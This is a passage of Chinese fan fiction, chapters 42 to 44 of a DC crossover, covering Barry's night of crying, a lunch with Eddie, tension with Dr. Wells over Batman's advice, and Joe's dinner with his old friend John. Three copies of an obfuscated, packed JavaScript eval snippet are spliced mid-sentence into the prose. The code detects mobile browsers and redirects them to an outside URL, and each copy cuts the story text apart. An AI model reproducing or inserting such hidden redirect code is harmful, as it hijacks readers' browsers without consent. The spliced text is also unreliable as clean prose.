她走过去,弯下身轻轻拍了拍伊德瑞斯的肩:“你怎么在这里睡着了?当心明天脖子疼。” “你回来了。”伊德瑞斯猛地醒过来,下意识坐直身体。他用手抹了把脸,让自己清醒一点,声音里还带着没睡够的沙哑。 他打量着巴莉,从头到脚看了一遍,像是在用眼神确认她有没有受伤:“我想如果大都会发生了危险,新闻肯定会报道。” “这次行动的地点远离城市,没对公众造成伤亡或财产损失。”巴莉说着,在伊德瑞斯旁边坐下。 “那是好消息。”伊德瑞斯的声音比刚才清醒了一些,“你之前发信息,说你明天可能需要请假。” “现在看来,我可以照常上班了。”巴莉回答。 她这么说了,却没有起身。 时间已经很晚了,但如果她现在去睡觉,至少还能睡上几个小时。而她只是坐在那里,双手放在膝盖上,看着电视屏幕发出的光一下一下在房间里闪动。 “心情不好?”伊德瑞斯侧过头看她。 “想哭一场,又觉得自己有点矫情。”巴莉微微低下头。 “在外面的时候还能忍住。”她轻声说,“可是一回到家,就觉得有点忍不住了。” 伊德瑞斯没有追问。他只是伸出手臂,把巴莉揽过来,让她靠在自己身上。 “想哭就哭吧。”他说,“我不会笑话你的。” 巴莉没有再说话。她把脸埋进伊德瑞斯的肩膀里,眼泪无声地浸湿了伊德瑞斯的衣服。 过了好一会儿,巴莉闷声闷气地说:“我感觉好多了。” 伊德瑞斯“嗯”了一声,又问:“你饿吗?” “不饿。”巴莉没有动。 “那快去睡觉。”伊德瑞斯轻轻地把巴莉推开。 “不想动。”巴莉耍赖似地说,整个人陷在沙发里,一副打定主意不挪窝的样子。 但伊德瑞斯显然不会对她过分纵容。他站起身,伸手把巴莉也拉了起来,半推半带地把她送到卧室门前:“你现在拖延的每一分钟,都会让你在早上后悔不已。” “好吧。”巴莉知道伊德瑞斯说的是对的。她叹了口气,不情愿地把手放在门把手上,“晚安。” 似乎察觉到她情绪深处仍然没有散去的那点阴影,伊德瑞斯忽然像他们小时候那样,低下头在她额头上轻轻亲了一下,然后轻声说:“睡个好觉。” 那个动作很自然,带着一点旧日习惯的意味,虽然已经很久没有发生过了。 小时候,这样的举动并不稀奇。但随着时间过去,他们渐渐长大,这种带着孩子气的亲昵也慢慢消失在日常里。 大概是深夜让人太疲倦了,他几乎是下意识地做出了这个动作。 42.第 42 章 巴莉有点晕乎乎的。漫长的一夜让她的思维运转得比平时慢半拍,却又处在那种疲劳过度后的奇怪状态:身体明明累得要命,大脑却不肯立刻关机。 伊德瑞斯的举动像是在把她当成小孩子对待,虽然很贴心,但她还是想抗议一句——不要把老虎当成猫咪去安慰。她现在可是很厉害的,都能和普通氪星人正面打架了。 可一想到自己刚刚才哭过,巴莉又心里一软,明白伊德瑞斯肯定是因为十分担心她,所以才会这样。 她想说点什么,但在大脑完成运作之前,伊德瑞斯已经先一步替她扭开门把手,把她轻轻推进屋里,又在她身后把门关好。 巴莉有点担心自己会睡不着,事实却恰好相反。她的脑袋刚一碰到枕头,意识就像被谁按下了电源键一样,“啪”地一下断掉了。 等她再有知觉时,时间已经到了第二天早上。闹钟在床头柜上坚持不懈地响了不知道多久,最终宣告失败——它甚至没能让巴莉伸手去按一下。 最后还是乔连续敲了好几次门,声音从门板后面传进来:“巴莉,我得先出发了。你今天打算请假吗?” 巴莉这才迷迷糊糊地从床上坐起来:“不请假,我马上起来。” 她抓起手机瞄了一眼时间,这次从床上跳了起来,然后一边刷牙一边看未读信息。 是彼得,问她回家了没有。巴莉赶紧回复了一条让他安心。 上午,巴莉去了一次外勤现场,回到局里之后又忙着整理样本,等到午饭时间,她已经处在一种灵魂出窍的边缘状态,醒着,但也没完全醒。 当她和埃迪对坐在室外的长桌旁时,太阳晒得人暖乎乎的。巴莉打开饭盒,盯着里面的食物看了两秒钟,然后竟然没有第一时间惊叹餐食的美味,而是捂住嘴打了个哈欠。 “哇。”埃迪在对面目睹了全过程,忍不住笑出声来,“你看起来怎么比我还困?昨晚我离开的时候,你和彼得已经走了。” 巴莉慢吞吞地伸手拿起罐装冰可乐,把金属罐贴在脸颊上。冰凉的触感让她短暂地清醒了一点,她眯着眼睛,语气里带着一点困倦的控诉:“你离开得比我晚,回家还要做饭,为什么一点都不困?” 埃迪想了想:“也许因为我在做完那些事情之后,立刻就睡觉了?” 他开玩笑地补充道:“不要在半夜刷抖音,时间会不知不觉流逝的。” 巴莉:“……” 她把可乐罐从脸上拿下来,慢吞吞地反驳:“我才没有呢。” 这句话听起来有点底气不足,但她实在想不出一个合理的理由来解释自己此刻的疲惫。 好在埃迪没有继续这个话题,而是问道:“周末想看电影吗?我发现一家电影院,偶然会放老电影,这周末是《卡萨布兰卡》。” “我小时候看过。”巴莉想了一下,“不过现在记忆已经模糊了。” “我也看过,那时候还是租DVD的模式呢。”埃迪说,“影院放映的是修复版,而且在大银幕上看感觉会完全不同。你有空一起去吗?” “听起来不错,可惜我周末有事。”巴莉摇摇头。 其实,她这个周末并没有忙到连一场电影都抽不出时间。只是最近她发现,视频和播客她都习惯倍速播放,经典影片也不例外。 她已经没有耐心坐在电影院里看电影了,那种“慢节奏”下,她会忍不住走神。 “那下次再问你。”埃迪说。他的语气与平时无异,将自己的失望情绪隐藏得很好。 “也许下次一起看展览吧。”巴莉提议道。 “最近博物馆里在展出欧洲珠宝。”埃迪说,“不过我在那种地方有点神经紧绷,总是下意识地巡视周围,生怕冒出几个劫匪。是不是听起来有点小题大做了?” “不,听起来再正常不过了。我也有同感。”巴莉语气里带着一丝无奈,毕竟她是真的有点心理阴影了,“那些钻石简直像是在对人呐喊:我很好携带,也很容易变现,快来发家致富吧。” 官方认证体系和镭射钻石编号都是二十世纪才逐渐普及的。那些欧洲老珠宝格外受窃贼青睐,原因之一就是那些宝石没有难以去除的、方便追踪的编号。 “是啊,销赃十分容易。”埃迪接过话头,语气里带着惋惜,“很多窃贼才不管什么历史意义或者价值打折扣,把宝石拆下来、黄金熔掉就完事了,简单粗暴但高效。” “看来我们都不太适合逛珠宝展览。”巴莉感叹道,“这是职业病,应该算工伤吧。” “那我们的工伤可太多了。”埃迪笑了起来,“比如饮食和作息的不规律,还有甜甜圈摄入过量。” “我们今天吃得很健康啊。”巴莉指了指他们的午餐。 “但你下午还是会吃一个甜甜圈。”埃迪已经对巴莉足够了解,笃定地做出这个判断。 “不,我想我今天会吃两个。”巴莉笑着说。 下班后,巴莉去了星辰实验室,把昨晚的战斗经过讲给威尔斯博士听,尤其提到了蝙蝠侠指出的那些需要改进的地方。 虽然蝙蝠侠的战后总结来得有些猝不及防,但巴莉还是把每一条都清清楚楚地记了下来,一边复述,一边随口补充几句自己的想法。她说得十分专心,直到全部讲完,才注意到威尔斯博士的神情有点冷淡。 威尔斯博士的语气里甚至少见地带上了一点嘲讽:“蝙蝠侠只是个普通人类,懂什么极速者的事?” 这句话听起来有点奇怪,巴莉想。 威尔斯博士也不是极速者,但她对极速者的事情懂得可太多了。至于蝙蝠侠,他绝对算不上什么“普通人类”,无论是智力还是体能,他都已经无限趋近人类的极限——巴莉认为,这里的人类包括变种人。 “我觉得他说得挺有道理的,很想尽快试试。”巴莉说,“只是我今天太累了,还是等到周末再训练吧。” “你希望我把他的意见融入到你的训练里吗?”威尔斯博士语气平淡地问,依然对此没有表现出什么热情。 “当然。”巴莉点点头,随即又悄悄瞥了一眼威尔斯博士的表情,发现对方看起来似乎有点不高兴——这可不常见。 她忽然意识到自己的态度或许冒犯了威尔斯博士,赶紧补充道: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17303164|194580||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “不是说现有的计划不好,毕竟你才是最了解我的训练情况和身体数据的人,而且还在不断根据实际情况调整。” 见威尔斯博士只是沉默地看着她,巴莉有点紧张地继续说下去:“不过,蝙蝠侠也算是提供了一个……新鲜的视角嘛,因为他的战斗经验十分丰富。我们两个一直专注在训练本身,虽然经常讨论战术,思想也难免被理论局限。” 威尔斯博士还是没说话,这让巴莉觉得越发不安,她绞尽脑汁地想再解释几句。 这时,威尔斯博士终于开口了:“好吧。如果你希望的话,我们可以试试。” 巴莉悄悄地松了一口气。 “对了!”她忽然想起什么,语气带着点夸张的欢快,“我们的能量棒大受欢迎哦!大家都尝了,每个人都说很好吃。” “对此我一点也不意外。”威尔斯博士露出了一点笑意,“毕竟,我们终于把被你抱怨为‘工业糖精’的味道去掉了。” 巴莉被对方那种哄小孩的语气说得不好意思起来,赶紧维护自己的形象:“其实我没有那么追求美味,只要能补充能量就行了。” “但我可不能让我的极速者在饿肚子的时候受委屈。”威尔斯博士的笑意更明显了。 巴莉觉得自己被当成娇气宝宝打趣了,微微有点脸红:“蝙蝠侠给了我一根能量棒,我也都吃光了。” 她的本意只是想说明,哪怕味道普通的能量棒她也能老老实实地吃完,绝不会在战场上挑三拣四。但说完之后,她却注意到威尔斯博士脸上的笑容似乎又淡了一点。 巴莉犹豫了一下,最后还是直接问道:“你是不是不怎么喜欢蝙蝠侠?如果是的话,我以后就不在你面前提他了。” 威尔斯博士推了推眼镜,镜片在灯光下闪过一丝反光:“我很喜欢听你讲你的经历,只是对那些陌生的超级英雄忽然离我的生活这么近,有点不太习惯。” 巴莉觉得这种感受很合理,并没有多想:“我其实也没有完全习惯。对中心城的无赖帮也是一样,尽管经常打交道,我有时候还是会觉得有些不可思议。” “因为他们千奇百怪的能力,还是因为他们独特的思考模式?”威尔斯博士说着,忍不住笑了,“无赖帮似乎有一种奇特的魔力,成员们总能理直气壮地说出一些毫无逻辑的理论,还对此深信不疑。” “两者都有吧。不过比起那些令人眼花缭乱的超能力,无赖帮更让我见识到了人类脑回路的多样性。”巴莉站起身,“我要回家了,周末见。” “我会修改训练计划的。”威尔斯博士说。 “谢谢你,威尔斯博士。”巴莉说,“你总是对我这么好。” “这不仅仅是关于你的。记住这一点,巴莉。”威尔斯说。 巴莉还没来得及理清这句话带给她的那点奇怪感觉,威尔斯博士已经补充道:“以前,闪电侠对中心城的每一个人都非常重要。而现在,正义联盟的闪电侠对地球上的每一个人都很重要。” “这么说有点夸张。”巴莉这次是真的脸红了,“但我想我明白你的意思。我会为了所有人而努力的。” 43.第 43 章 周末,当巴莉再次见到威尔斯博士时,对方看起来又恢复了往常的样子——冷静、理性又温和,仿佛前几天那点微妙的异样从未存在过。 训练之后,威尔斯博士开始了复盘,在对比了巴莉近期的训练数据之后,对蝙蝠侠提出的训练建议逐条进行了分析与调整。她没有全盘接受,也没有轻易否定,而是像往常一样,用一种近乎学术讨论的态度与巴莉探讨。 “这些想法不错,可以保留。”威尔斯博士在屏幕上标出几条,“但有些建议仍然是以普通人类的身体条件为前提设想的。极速者的神经反应和代谢机制不同,如果直接照搬,不仅效率不高,还有可能适得其反。这一部分我们先暂时搁置。” 巴莉一边听,一边不由得在心里松了一口气。 眼前的威尔斯博士就是她熟悉的那个人,前几天那种若有若无的奇怪感觉似乎也变得不那么真实了。 或许只是她太累了。人在疲劳的时候很容易多疑,把一些普通的情绪变化误解成别的东西。 毕竟,人人都会有情绪波动的时候。包括威尔斯博士,也包括她自己。 离开星辰实验室前,巴莉收到了乔的信息:“临时有客人来家里吃晚饭。回家路上帮我买一打啤酒,上面有驯鹿的那个牌子。” 巴莉几乎能想象出那个画面:乔一边在炉灶前忙着搅动锅里的食物,一边盘算着家里还缺了什么,想到之后又意识到自己没时间去买,着急地抓起手机打字。 她忍不住笑了一下,回了一个简短的表情:“收到。” 到了超市之后,巴莉先把乔点名要的一打啤酒放进购物推车里。那是一个本地精酿的牌子,乔已经预料到她多半记不清名字,直接描述了商标图案。 她原本打算直接结账离开,但经过零食区时,她的脚步慢了下来。 货架上摆着几种她以前没见过的新口味薯片,包装颜色花里胡哨。巴莉站在那里研究了一会儿,心想反正家里今晚有客人,多准备点零食也没什么不好,于是顺手把几包都丢进了购物车,打算回去一一品尝。 推着购物车继续往前走,巴莉又经过了水果区。明亮均匀的超市灯光下,水果被摆得整整齐齐,看起来比家里的水果鲜艳得多。她原本只是随便看了一眼,结果越看越觉得诱人,于是又停下脚步,挑了几样。 终于,巴莉来到了收银区,习惯性地朝自助结账区走去,然后被工作人员礼貌地拦了下来。后者提醒道:“你购买的商品数量已经超过了自助结账的限额,请去人工收银台。” 巴莉这才后知后觉地意识到事情有点不对劲:购物车里已经堆得颇为可观。 但她原本只是来买一打啤酒的。 在感叹超市的动线设计过于洞悉人心之后,巴莉老老实实排在人工收银队伍里结了账,然后拎着两大袋沉甸甸的购物袋回到了家。 推开门的时候,厨房里飘出的食物香味立刻冲向她。 乔果然在忙着。炉灶上的汤锅正小火咕嘟着,烤箱的灯亮着,他时不时还要弯腰看一眼里面的烤肋排,同时案板上摊着已经洗好但还没来得及切的蔬菜,显然是正在准备沙拉。 “我回来了。”巴莉打开冰箱,将啤酒放进去冰镇。“今晚的客人是谁啊?用啤酒招待,会不会太不正式了?” “我的大学同学约翰,很多年没见了。”乔的语气轻快,对老友重逢充满期待,“毕业以后,我们都回了各自的家乡当警察。我回中心城,他回了丹佛市。” 巴莉顺手拿了一个小番茄,刚放进嘴里嚼了一下,乔立刻转过头,精准地抓住了她偷吃的现场。 “嘿。”他伸手轻轻拍了一下巴莉的手,然后从旁边拿了个小碗,往里面装了一些小番茄,“只能吃这么多。不许把食材提前吃光。” 巴莉已经心满意足了,乖乖地端着碗坐在餐桌旁,继续打听:“你们的关系很好吗?可这么多年你都没提过他。” 乔露出怀念的神色:“刚毕业那几年,我们联系得还挺频繁的。后来大家都忙起来了,渐渐变成只在节日的时候打电话,有时候也会寄点小东西。” “然后呢?”巴莉追问。 “最后一次联系是伊德瑞斯出生的时候。约翰寄来了一套玩具火车,伊德瑞斯喜欢得不得了。” “玩具火车?我怎么没见过?”巴莉随口说。 乔忍不住笑了一下,像是想起了当时的场景:“没过几年就被伊德瑞斯丟得七零八落了。” “再后来呢?”巴莉问。 “再后来就断了联系。”乔耸了耸肩,“一开始是约翰没有回信息,我又试着联系了几次。等过了一阵子,我也忙起来了,就没再继续。” 巴莉理解地点点头。 “远距离的友谊确实很容易这样。”她撕开了一包薯片——松露味的,创新点在于加了点牛油果风味,吃起来很协调。“没有吵架,只是不知不觉地走散了。” 往乔的嘴里塞了一片,巴莉问:“那这次你们是怎么联系上的?” “我今天忽然接到一个陌生电话,结果电话一接通,我立刻就听出了他的声音。”乔的声音因为嘴里的薯片而有点含糊,但其中的骄傲意味十分明显,“时隔多年,他的声音一点都没变,而我的记忆力也还算不错。” “太厉害了!”巴莉赶紧海豹鼓掌。 “约翰最近搬到哥谭定居了,不再做警察,而是开了一家侦探社。他因为工作要来中心城待几天,犹豫了很久,还是决定试着联系我。” 乔说完,又感叹一句:“幸好我的电话号码这么多年一直没变过。” “哇,听起来你们肯定有很多话要聊了。那伊德瑞斯和我是不是应该去外面吃饭,给你们一些私人空间?”巴莉问。 “当然不用,我得给他展示一下我的儿女。”乔说。他的表情一本正经,但语气分明是“我得炫耀一下”。 “你应该让我买红酒的。”巴莉看了看晚饭的菜色——烤肋排、大虾沙拉,看似简单实则复杂的蔬菜浓汤,以及作为甜点的南瓜派——家常却一点不敷衍,“不然怎么和这顿大餐搭配。” 乔弯腰打开烤箱门,热气立刻涌了出来。他眯着眼检查了一下烤盘里的情况,又把门关上,顺手把隔热手套搭回一旁。 “我已经买了两瓶红酒了。”他说。 巴莉有点惊讶地“哦”了一声。 乔解释道:”我刚才想起来,我们在学校的时候,经常抱着啤酒喝一整晚——那时候经济拮据,只能一瓶酒喝一晚,但我们总是期待将来能够尽情地喝个痛快。所以我想,吃完饭,约翰和我可以坐到长廊上去,一边喝啤酒,一边聊天。” 巴莉点了点头,一本正经地评价:“听起来像是一场中年警察……以及前警察的怀旧聚会。” 乔立刻瞪了她一眼:“注意措辞。” “好吧。”巴莉举起手里的薯片袋,像举杯一样晃了晃,“成熟稳重、事业有成的先生们的重逢之夜。” 乔哼了一声,但嘴角还是忍不住往上扬了一点。 “不过,他为什么会选择去哥谭定居呢。”巴莉有些纳闷地说,一边又从袋子里抓出一把薯片,“感觉那里不太适合退休生活。” 乔正在准备沙拉酱,没有抬头,纠正道:“他没有退休。他现在在做私家侦探。” “这难道不就是半退休的意思吗?”巴莉理所当然地说,“工作时间自由,想接案子就接案子,不想接就休息——你看,甚至连是否工作都很自由。” “他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17314628|194580||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还没到能领退休金的年龄。”乔摇了摇头。他停了一下,又补充了一句,这次语气里带着一点隐约的担忧:“我希望他不是因为一时赌气辞职的。约翰一直是个很正直的人。” “正直的人更不适合在哥谭做私家侦探了。”巴莉说,“哥谭那地方更适合那种……嗯……” 她想了想,终于找到了一个例子。 “像平克顿侦探事务所那样的风格。” 乔愣了一下,随即大笑起来:“你一直因为平克顿侦探事务所而对侦探这个行业有偏见。” “因为他们虽然是很厉害的行业典范,但也确实干过一些不太光彩的事情嘛。”巴莉撅起嘴,为自己的偏见辩解。 她会注意到那家侦探事务所,其实只是因为读了《福尔摩斯探案集》。可在查了资料之后,她发现这家侦探所做的可不只是侦探工作。 除了普通的调查、保镖之类的业务之外,他们还有一项很重要的生意:受企业家委托去监视工会成员,或者盯住那些被怀疑会制造麻烦的人。 有些时候,企业家甚至会直接雇他们去保护工贼,以此破坏罢工。 “我想约翰选择去哥谭,一定有他的理由。”乔叹了口气,语气低了一点,“但如果他不主动说,我也不会去刺探。毕竟这么多年没见,我不想一见面就触碰到什么伤心事。” “你们俩都有很多不适合随便提起的事。”巴莉立刻接过话头,用一种刻意轻松的语气缓和气氛,“比如,你的屋檐下竟然住着闪电侠,而且她还经常在你做饭的时候让食材神秘消失。” 乔抬头看了巴莉一眼,然后他的目光慢慢移到料理台上那盘刚刚煮好的虾。 他皱起眉,数了数,接着又看向巴莉:“你什么时候吃了一只虾?” “你竟然会去对虾计数!”巴莉先是惊讶地抱怨一句,然后又得意地说:“就在刚才,你准备沙拉酱的时候。” 乔好笑地说:“幸好我总是准备多余的量,就是为了防止有神秘事件发生。” 巴莉眼睛一亮,决定让乔的周全准备派上用场。她拿起叉子,动作故意慢条斯理,光明正大地挑走一只鲜甜的大虾:“伊德瑞斯怎么还没回来?客人什么时候到?” 乔看了看灶台上显示的时间:“伊德瑞斯说他今天会晚一点回家。让我们先吃,不用等他。约翰大概还有半小时会到。” “还有什么需要做的吗?比如打扫一下卫生?”巴莉环顾了一圈餐厅和客厅,“虽然我觉得家里已经很整洁了,但总可以更整洁一点。” “你就坐在那里吃东西、和我聊天就行了。”乔拦住过分积极的巴莉,“给我讲讲正义联盟的那些人吧。” 这句话说得很自然,但语气里多少带着一点父亲特有的担忧。 从乔的角度来说,女儿忽然加入了一个陌生人组成的团队,即使那些人都是超级英雄,他还是忍不住会担心。 毕竟那里面有些人根本不是人类;还有些人已经活了太久,经历的世界与普通人完全不同。 人与人之间的相处,有时候并不是靠身份相似就能解决的。 “他们对你怎么样?”乔问。 “他们人都不错。”巴莉说,然后又补充了一句,语气里带着一点点抗议:“而且,我又不是团队里需要别人照顾的小孩子。” “你当然不是。”乔立刻说,“你是完全可以独当一面的。” “但是?”巴莉知道乔还有话没说,等着他接下去。 “我还是希望,你的同伴是那种可以让你放心依靠的人。”乔说。 “我觉得是的,至少有几个人是的。”巴莉说。 “那另外的人呢?”乔马上问。 “还不太熟。”巴莉实话实说。 44.第 44 章 巴莉用双手托着脸,认真地说:“我知道大家对彼此都有一些防备,这很正常,我自己也还没有完全付出信任。我也很期待大家能完全相信对方的那一天。” “慢慢来。”乔鼓励道,“了解一个人需要时间。” “是啊。”巴莉点点头,“不过我已经从一些小事里发现了他们的性格。比如其中一个人,看起来大大咧咧,其实在帮助别人的时候挺细心的。不过他好像对自己的经济状况完全不在意。” “周三就会把周薪花光的那种人吗?”乔笑道,“我也认识这样的人,感谢信用卡这个伟大的发明,他们才能不饿肚子。” “我怀疑他能不能撑到周三。”巴莉摇了摇头。 她到底还是闲不住,在把餐具一一摆好之后,又将餐巾折成了扇形,端端正正地放在每个盘子上,以米其林餐厅的布置为标准自我要求。 其实巴莉知道乔和客人多半不会在意这些,但她还是认真地做了。毕竟乔很在乎这次和老同学的见面,对青年时代的追忆让他看起来年轻了十岁,她自然也跟着重视起来。 门铃响了,乔立刻摘下围裙朝门口走去,巴莉则像个小尾巴一样跟在他后面。 一打开门,站在那里的客人就举起了手里的东西,笑着说:“我买了一打啤酒。” 两个中年男人对视着,同时发出了感慨:“乔,你一点没变。”/“约翰,你一点没变。” 巴莉站在乔身后,好奇地打量着客人:黑人中年男子,身材结实,气质却异常温和,说话时带着一种慢条斯理的从容。如果不是乔刚才提起过,很难想象他曾经是警察。那种长期在街头执勤、随时可能面对危险的职业,和他身上的平和气息有点不太相符。 乔接过约翰手里的啤酒,随手放在一旁的柜子上,然后毫不犹豫地给了对方一个结结实实的拥抱。 巴莉看着这一幕,心里不由得冒出了一个她自己知道有点政治不正确的想法:黑人真的不显老。 眼前就是两个鲜活的例子。如果只看皮肤状态,他们看起来都比实际年龄年轻得多;真正暴露岁月的是那种沉稳的眼神,还有经历过很多事情之后才会出现的从容气质。 “这是我的女儿,巴莉,在警局做法医。”乔松开约翰,侧过身给两人介绍,“伊德瑞斯是记者,在加班,还没回来。” 巴莉立刻向前一步:“约翰叔叔,见到你真高兴。” 她语气轻快又礼貌地打趣道:“乔已经激动了一个下午了。” 约翰露出真切的愉快笑容:“那他可不是一个人。和他打过电话之后,我也很激动。” 他的目光落在巴莉身上,却没有流露出任何异样。 通常来说,那种异样几乎是不可避免的——往往出现在旁人得知乔和巴莉的父女关系的那一瞬间。那是一种极其细微的、近乎本能的反应,并不带有恶意,只是人们在短时间内试图理解信息时产生的迟滞。 大多数人很快就会反应过来,用“领养”这个再合理不过的解释将一切串联起来。但在那之前,总会有一个短暂的空隙,像是目光的轻微停滞,或者来不及掩饰的若有所思表情。 但约翰没有,仿佛对他来说,这一切都是理所应当的。 乔带着约翰往屋里走去,约翰打量着房子:“你的家真不错,打理得很好。” “伊德瑞斯出生没多久,我们就搬到了这里。”乔说,“这房子有点年头了,我这些年做了不少维护工作。屋顶、管道、地板……几乎都动过手。” 约翰点点头,目光落在客厅的照片墙上。 最早的照片里,是年轻的乔和妻子,还有襁褓里的伊德瑞斯。再往后,孩子慢慢长大,照片却只剩下了父子两人。再后来,又多出了巴莉,一开始她略显拘谨,到后来笑得越来越自然。 不需要特意说明,这些照片已经足够让人隐约拼出这家人经历过什么。 乔顺着约翰的目光看过去,语气平静:“弗朗辛去世很多年了。之后我一个人带着孩子……孩子们慢慢长大。” 约翰轻声说:“听到这个我很遗憾。我知道你们俩的感情一直很好。” 乔点点头,又像想起什么似的问:“你呢?我记得你以前提过,有个叫贝拉的姑娘,你们相处得不错。” 约翰摇头:“没有结婚。我们分手很久了。” 他解释道:“我后来喜欢一个人上山徒步。但贝拉不太赞成,她觉得太危险了。” 乔说:“她的担心很常见。很多人已经习惯了现代社会的便利,没意识到随时手机信号满格带来的安全感。在一个连卫星电话都时断时续的地方,一旦遇到点麻烦,确实挺棘手。” “确实是这样。”约翰没有反驳,“但我很难割舍这个爱好。” 乔笑了一声:“我记得你年轻的时候就这样,喜欢冒险。” 三人在餐桌边坐下后,乔很骄傲地说:“来,试试我的手艺吧。你一定会大吃一惊的。” “光是看着它们,我就已经大吃一惊了。”约翰说,“多年不见,你竟然成了一名大厨。这还是我认识的那个顿顿吃三明治的乔吗?” 乔因为被揭短而哼了一声,语气里带上了点不好意思:“其实在孩子们小的时候,我很少有时间做需要耗费太多工夫的饭。不过我还是尽量让他们觉得,这个家和别的家庭没什么不同。” “乔,我们家是不同的——比许多家庭更好。”巴莉俏皮地说,“我来倒红酒吧。” 接下来,餐桌上的话题自然而然地转向了两个男人在过去几十年的经历。当约翰说到自己从警局辞职的时候,像是预料到了乔会因此而感到担心,他主动补充了一句:“局里的人都不错,我也没遇到什么麻烦。我只是想换个工作方式。” “受够了那些繁琐的官僚程序?”乔果然悄悄松了口气,也有心思开玩笑了,“说实话,如果我哪天决定提前退休,一定是因为我对文书工作忍无可忍了。” “侦探的行事规则的确更灵活。”约翰笑了一下,“很多时候,我不用再考虑证据是否能被法庭采纳。你知道人们常说的,如果检察官不能把证据用在法庭上,那警察的工作就算没做好。” 巴莉自以为明白了约翰的意思:“约翰叔叔,你是指‘私人搜查原则’吗?但你作为前警官,会不会被视为‘政府代理人’?” 作为警局的一员,尽管她的工作是在实验室里检验从现场采集的证据,但耳濡目染之下,她对于一些基本的证据法原则也有所了解。 宪法第四修正案禁止警方进行不合理的搜查与扣押,不过,美国最高法院通过判例为这一原则确立了若干例外,其中之一就是所谓的“私人搜查原则”。如果某个私人已经——无论是合法还是非法地——发现了某样东西,警方可以在不取得搜查令的情况下,对这一发现进行重复确认。前提是,警方的行为不能超出私人最初已经看到或接触到的范围。 当然,这一例外本身也并非没有限制。后来的判例又对它做出了进一步界定:如果某个人实际上是在替警方行动,那么即使他名义上是私人,其行为也可能被认定为政府行为。这样一来,他取得的证据就会被视为警方的取证,从而重新受到第四修正案的约束。 “正因为我是前警官,才更清楚该如何规划行动,避开这些法律风险。”约翰不紧不慢地解释道,“而且,也不是所有证据最终都会走到刑事法庭那一步。有时候是用在民事程序里,也有一些客户在拿到证据之后,目的并不是起诉,而是谈判。在这些场景下,对证据来源的要求通常要宽松得多。” 巴莉自以为听懂了,有点天真地说:“是商业竞争吗?比如公司之间互相调查、拿到把柄之类的?” 约翰露出一个微妙的表情,瞥了乔一眼。 “呃……我想约翰指的是出轨的伴侣。”乔清了清嗓子。 “哦。”巴莉下意识地回应了一声,顿了一下之后,又说了一遍,“哦。” 约翰和乔交换了一个无奈又好笑的表情,为了避免巴莉过于尴尬,很默契地换了话题。 乔问:“你会在中心城待几天?住在哪里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17327903|194580||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?” 约翰说:“大概两三天吧,我订了一间旅馆,离市区不远。” 乔说:“那等你忙完了,我们一起出去喝一杯。” 他顿了一下,又郑重地说:“这一次,我们可得保持联系了。” 约翰短暂地沉默了一瞬,巴莉几乎以为他要说出一个敷衍的、不痛不痒的回答,但他最终露出了一个笑容:“一言为定。” 伊德瑞斯回到家后,餐桌上的气氛更加热闹了。他和巴莉一样,迅速被约翰讲的那些侦探趣闻吸引住了。 约翰是个很有人格魅力的人,在讲起那些经历时,他从不刻意夸大其词,语气始终平稳克制,仿佛只是在复述一件再普通不过的往事。也正因如此,那些看似被轻描淡写带过的细节反而让人听得不自觉地屏住了呼吸。 饭后,巴莉和伊德瑞斯自觉地收拾着餐桌,两位中年男人则拎着啤酒走到院子里坐下,继续他们的聊天。 “乔看起来非常高兴。”伊德瑞斯将盘子放进洗碗机,听见门外传来的笑声后忍不住感慨,“真不敢相信,他们那么多年都没有联系过了,但相处起来一点也不陌生,这么快就找回了当年的默契。” “他们各自忙着自己的生活。”巴莉说着,用胳膊肘亲昵地轻轻撞了撞伊德瑞斯:“但我们可不会那样的。” “你是说,我们多年后重逢的话,会尴尬地无言以对吗?”伊德瑞斯故意曲解巴莉的意思。 “我们才不会断掉联系。”巴莉笃定地说,“你可是闪电侠的指定记者。而且,就算你在天涯海角,我也能在一秒钟之内去找你聊天的。” “我真是太荣幸了。”伊德瑞斯夸张地敬了个礼,“二十四小时待命,随时准备为你服务。” 忙完后,巴莉坐了下来,拿出通讯器,开始给蝙蝠侠发讯息。 虽然她相信约翰即使身处困境也能游刃有余,但哥谭毕竟是哥谭,那里的复杂和危险程度已经成为传说级别了。而她恰好认识一个常居哥谭的、非常厉害的人,自然得请对方帮忙照看一下约翰,顺带照应一下对方的生意。 当然,她的措辞十分礼貌委婉,绝不会直白地说哥谭有多危险。换位思考,要是谁在她面前肆无忌惮地指责中心城的缺点——哪怕是客观批评——她绝对会脸上假装毫不在意,实际上在心里将那个胆敢面刺中心城之过者吹到撒哈拉沙漠去挖沙子。 蝙蝠侠回复得很快:“知道了。” 这大概就是答应了的意思吧。巴莉高兴地收起通讯器,将这件事抛在脑后了。 此时,通讯器另一端的布鲁斯眉头紧皱。 